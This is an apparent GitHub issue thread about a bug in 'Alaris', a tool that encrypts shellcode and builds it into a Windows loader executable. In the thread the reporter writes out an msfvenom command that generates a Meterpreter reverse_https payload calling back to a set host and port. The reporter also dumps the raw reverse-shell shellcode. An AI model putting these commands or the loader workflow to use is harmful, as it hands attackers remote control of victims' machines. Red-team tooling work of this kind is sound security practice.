Meterpreter shellcode failing to generate an EXE

[mrothbart]

Hey

I love the tool's idea so I tried it out on some msf shellcode. It errors out on reading the file. Here is a log.

┌──(user㉿DESKTOP-O0R9DEO)-[/opt/Alaris]
└─$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.xx.xx LPORT=4422 -f raw -o ~/Desktop/met64.raw
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 601 bytes
Saved as: /home/user/Desktop/met64.raw

┌──(user㉿DESKTOP-O0R9DEO)-[/opt/Alaris]
└─$ python3 builder.py -s ~/Desktop/met64.raw -p testing -o ~/Desktop/alaris.exe
[i] Key, IV Generation: Successful
[+] Key: 2a8d8dde386617fa549e7e5cba45b3725236b8203ede5ffca0bbf4584180f551
[+] IV: e9279e986c717652078521d2c21a6a17
[+] Salt: 0377a67814b64877851d6be6bf52b6cd
Traceback (most recent call last):
File "/opt/Alaris/builder.py", line 203, in
raw_shellcode = parse_shellcode(args.sc_file)
File "/opt/Alaris/builder.py", line 155, in parse_shellcode
if "octet-stream" not in file_type:
TypeError: argument of type 'NoneType' is not iterable

┌──(switchblade㉿DESKTOP-O0R9DEO)-[/opt/Alaris]
└─$ python3 builder.py -s /home/user/Desktop/met64.raw -p testing -o ~/Desktop/alaris.exe
[i] Key, IV Generation: Successful
[+] Key: 5d19eafe276a62de5548de7a3d0fed6d289ef86b8dfda8f54ab32eb5d650a3a3
[+] IV: 4fef5b6eb94226d182eff2a21c6197f4
[+] Salt: aab0a888d04f10403f332a89e102e21e
Traceback (most recent call last):
File "/opt/Alaris/builder.py", line 203, in
raw_shellcode = parse_shellcode(args.sc_file)
File "/opt/Alaris/builder.py", line 155, in parse_shellcode
if "octet-stream" not in file_type:
TypeError: argument of type 'NoneType' is not iterable

Additionally, on some shellcode it doesn't read it as binary at all.

┌──(user㉿DESKTOP-O0R9DEO)-[/opt/Alaris]
└─$ python3 builder.py -s /var/www/html/shell.txt -p testing
[i] Key, IV Generation: Successful
[+] Key: 4d544a6e86e2f7e2af1f7c16cf7e2ee72156e381a3a2fef88779d4188709c07c
[+] IV: 0f6c9f43f0a3669860336e4afbb2821e
[+] Salt: a696dad713faa958bd4b0d29a4e82190
[!] ERROR: /var/www/html/shell.txt does not look to be a RAW Binary file

┌──(user㉿DESKTOP-O0R9DEO)-[/opt/Alaris]
└─$ cat /var/www/html/shell.txt
A���RH�R �B<AQH�f�x�R`H�RH�R H�JJH�rPM1�H1��<a|, A��
�A�8�u�LLE9�u�XD�@$I�fA�H��tgH�PD�@ IЋH�VM1�H��A�4�H�H1�A��
HD�@i�A��H�AXAX^YZAXAYAZH�� AR��XAYZH��K���]H1�SI�wininetAVH��I��Lw&��SSH��SZM1�M1�SSI�:Vy����192.168.xx.xxZH��I��FM1�SSjSI�W������/YPNo70l3ICod-hz4fc-4NgCoWd3jSjeH3C-quIldCaWdfJxBPEAmW7ajqNVFcc0Azky63TqgWwCETQhCi0RWk9BIbaaeA8h3YzEfNfEqTiNJpQ9qhHvHJ5xVipJSabQrEYg6OmtyFI5qoq6HMJgaxtDk6GjmMMYxv8yZ1rzYKYja0Qmr42H��SZAXM1�SH�2��PSSI���U.;��H��j
_H��jZRh�3I��jAYI�uF����M1�SZH��M1�M1�SSI��-{�Յ�uH���I�D�5���H��t��USYj@ZI����I��I�X�S���H�SSH��H��H��I�� I��I������H�� ��t�f�HÅ�u�X�XjYI���V��

[mrothbart]

Commenting out that check gives me new things:

┌──(user㉿DESKTOP-O0R9DEO)-[/opt/Alaris]
└─$ sudo python3 builder.py -s /home/switchblade/Desktop/met64.raw -p testing -o ~/Desktop/alaris.exe
[i] Key, IV Generation: Successful
[+] Key: 51e925213a0300d9f14e166b1e4333be4cbb2f5499061cd5a7caba55e0404c1f
[+] IV: ca5029a62af72be073bbd09234593bf8
[+] Salt: ceba3cca3d986fe9f01eba3e378e921e
[i] Encrypt Shellcode: Successful
[i] Variable Swap: Successful
Generic Error: Cannot Find Visual Studio 2019+ Installation; Error: b'/bin/sh: 1: None\Microsoft Visual Studio\Installer\vswhere.exe: not found\n'

[mrothbart]

Commenting out the check and running it in windows instead of kali with a VS 2019 install on disk works. However the check does still give issues for some reason when uncommented. 🤷

[joshfaust]

Thanks for the info. I've only tested on two (2) Window 10 hosts to date. Both of which had VS 2019 Community installed.

1. The first check is to make sure it's a binary file and not something else. I need to fix this.
2. The second check uses the Visual Studio Installed binary vswhere.exe to enumerate where your msbuild.exe is located. There are some other Powershell methods I can use but, I didn't like that as a long term solution. So, I assume if you have Visual Studio 2019 installed you should have this binary available.

My installation for both Windows 10 hosts is: #2 (comment)

I'll fix these soon and get a patch out. Thanks for the detailed info!

[mrothbart]

Yep running it initial on kali was completely my bad. I apologize, I didn't RTFM and completely missed the following:

I assume the following when you’re building a new Alaris loader:

You are compiling on a Windows host. Preferably, Windows 10.

However the binary file check bug still stands :)

[joshfaust]

• Binary File Check bug has been fixed,
• vswhere.exe missing issue was due to not being compiled in a Windows environment.

Closing this issue.